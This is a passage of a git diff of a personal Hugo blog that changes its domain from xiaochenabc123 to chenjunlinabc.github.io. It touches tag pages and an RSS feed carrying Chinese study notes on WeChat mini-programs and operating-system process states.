class="post-entry tag-entry"><header class=entry-header><h2>微信小程序学习笔记</h2></header><div class=entry-content><p>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>微信小程序 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="微信小程序"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="微信小程序"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>微信小程序</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>微信小程序学习笔记</h2></header><div class=entry-content><p>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
 微信之父张小龙是这样描述小程序的：
 小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。
 用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。
@@ -28,18 +28,8 @@
 app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面
 app.json文件结构
 pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：
-"pages":[
-"pages/index/index",
-"pages/demo/demo"
-],
-window属性是设置小程序的窗口样式，例如：
-"window":{
-"backgroundTextStyle":"light",
-"navigationBarBackgroundColor": "#fff", // 导航栏背景颜色
-"navigationBarTitleText": "Weixin", // 导航栏文本
-"navigationBarTextStyle":"black" // 导航栏文本颜色
-},
-从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
+"pages":[ "pages/index/index", "pages/demo/demo" ], window属性是设置小程序的窗口样式，例如：
+"window":{ "backgroundTextStyle":"light", "navigationBarBackgroundColor": "#fff", // 导航栏背景颜色 "navigationBarTitleText": "Weixin", // 导航栏文本 "navigationBarTextStyle":"black" // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
 demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性
 demo.wxml，该文件是用来描述页面的，和html类似
 pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的
@@ -58,7 +48,7 @@
 WXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构
 view元素是表示块级，和div类似
 scroll-view元素是表示可滚动页面区域
-text元素是表示行内文本，和span类似...</p></div><footer class=entry-footer><span title='2021-06-27 12:34:00 +0000 UTC'>2021-06-27</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 微信小程序学习笔记" href=https://xiaochenabc123.github.io/posts/48/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+text元素是表示行内文本，和span类似...</p></div><footer class=entry-footer><span title='2021-06-27 12:34:00 +0000 UTC'>2021-06-27</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 微信小程序学习笔记" href=https://chenjunlinabc.github.io/posts/48/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/index.xml" "b/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/index.xml"
index 15676e06..c492d41b 100644
--- "a/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/index.xml"
+++ "b/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>微信小程序 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/</link>
     <description>Recent content in 微信小程序 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 27 Jun 2021 12:34:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 27 Jun 2021 12:34:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>微信小程序学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/48/</link>
+      <link>https://chenjunlinabc.github.io/posts/48/</link>
       <pubDate>Sun, 27 Jun 2021 12:34:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/48/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/48/</guid>
       <description>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
 微信之父张小龙是这样描述小程序的：
 小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。
@@ -48,8 +48,8 @@ index.js页面逻辑
 app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面
 app.json文件结构
 pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：
-&amp;quot;pages&amp;quot;:[
&amp;quot;pages/index/index&amp;quot;,
&amp;quot;pages/demo/demo&amp;quot;
],
window属性是设置小程序的窗口样式，例如：
-&amp;quot;window&amp;quot;:{
&amp;quot;backgroundTextStyle&amp;quot;:&amp;quot;light&amp;quot;,
&amp;quot;navigationBarBackgroundColor&amp;quot;: &amp;quot;#fff&amp;quot;, // 导航栏背景颜色
&amp;quot;navigationBarTitleText&amp;quot;: &amp;quot;Weixin&amp;quot;, // 导航栏文本
&amp;quot;navigationBarTextStyle&amp;quot;:&amp;quot;black&amp;quot; // 导航栏文本颜色
},
从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
+&amp;quot;pages&amp;quot;:[ &amp;quot;pages/index/index&amp;quot;, &amp;quot;pages/demo/demo&amp;quot; ], window属性是设置小程序的窗口样式，例如：
+&amp;quot;window&amp;quot;:{ &amp;quot;backgroundTextStyle&amp;quot;:&amp;quot;light&amp;quot;, &amp;quot;navigationBarBackgroundColor&amp;quot;: &amp;quot;#fff&amp;quot;, // 导航栏背景颜色 &amp;quot;navigationBarTitleText&amp;quot;: &amp;quot;Weixin&amp;quot;, // 导航栏文本 &amp;quot;navigationBarTextStyle&amp;quot;:&amp;quot;black&amp;quot; // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
 demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性
 demo.wxml，该文件是用来描述页面的，和html类似
 pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的
diff --git "a/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/page/1/index.html" "b/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/page/1/index.html"
index 825720d6..8fdf51e3 100644
--- "a/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/page/1/index.html"
+++ "b/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/"></head></html>
\ No newline at end of file
diff --git "a/tags/\346\223\215\344\275\234\347\263\273\347\273\237/index.html" "b/tags/\346\223\215\344\275\234\347\263\273\347\273\237/index.html"
index 7836ec7d..4277aa88 100644
--- "a/tags/\346\223\215\344\275\234\347\263\273\347\273\237/index.html"
+++ "b/tags/\346\223\215\344\275\234\347\263\273\347\273\237/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>操作系统 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="操作系统"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="操作系统"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>操作系统</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>操作系统学习笔记</h2></header><div class=entry-content><p>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>操作系统 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="操作系统"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="操作系统"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>操作系统</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>操作系统学习笔记</h2></header><div class=entry-content><p>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
 常见操作系统有Windows，Linux，Android
 操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互
 操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等
@@ -57,7 +57,7 @@
 运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用
 运行可切换到阻塞状态
 阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态
-进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了...</p></div><footer class=entry-footer><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 操作系统学习笔记" href=https://xiaochenabc123.github.io/posts/115/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了...</p></div><footer class=entry-footer><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 操作系统学习笔记" href=https://chenjunlinabc.github.io/posts/115/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
